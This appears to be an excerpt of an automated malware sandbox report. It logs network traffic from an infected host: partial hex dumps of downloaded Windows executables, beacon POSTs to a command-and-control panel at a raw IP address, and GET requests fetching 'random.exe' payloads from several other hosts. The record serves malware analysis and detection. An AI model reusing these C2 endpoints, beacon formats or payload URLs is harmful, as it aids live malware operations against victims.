00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 90 05 00 00 02 00 00 00 7a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 6b 63 78 68 74 6b 78 00 80 19 00 00 c0 2f 00 00 76 19 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 72 79 6f 69 74 71 68 00 10 00 00 00 40 49 00 00 04 00 00 00 f2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 50 49 00 00 22 00 00 00 f6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:11:31 GMTContent-Type: application/octet-streamContent-Length: 1771008Last-Modified: Thu, 21 Nov 2024 13:00:41 GMTConnection: keep-aliveETag: "673f2ef9-1b0600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 f0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 68 00 00 04 00 00 c4 8b 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 6d 77 6d 6a 7a 6b 79 00 70 19 00 00 70 4e 00 00 66 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 61 6c 73 64 6b 6a 79 00 10 00 00 00 e0 67 00 00 06 00 00 00 de 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 67 00 00 22 00 00 00 e4 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:11:40 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Thu, 21 Nov 2024 12:58:49 GMTConnection: keep-aliveETag: "673f2e89-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 81 2e 3f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 5d 0b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 54 a9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 54 a9 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 13:11:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:11:48 GMTContent-Type: application/octet-streamContent-Length: 2819072Last-Modified: Thu, 21 Nov 2024 12:59:16 GMTConnection: keep-aliveETag: "673f2ea4-2b0400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 62 71 6d 70 63 70 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 7a 62 78 62 6e 78 00 20 00 00 00 60 2b 00 00 04 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:11:54 GMTContent-Type: application/octet-streamContent-Length: 2819072Last-Modified: Thu, 21 Nov 2024 12:59:18 GMTConnection: keep-aliveETag: "673f2ea6-2b0400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 62 71 6d 70 63 70 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 7a 62 78 62 6e 78 00 20 00 00 00 60 2b 00 00 04 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 13:12:16 GMTContent-Type: application/octet-streamContent-Length: 2819072Last-Modified: Thu, 21 Nov 2024 12:59:18 GMTConnection: keep-aliveETag: "673f2ea6-2b0400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 24 47 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 62 71 6d 70 63 70 00 c0 2a 00 00 a0 00 00 00 a4 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 79 7a 62 78 62 6e 78 00 20 00 00 00 60 2b 00 00 04 00 00 00 de 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 e2 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 39 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007935001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 39 33 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007936001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 39 33 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007937001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
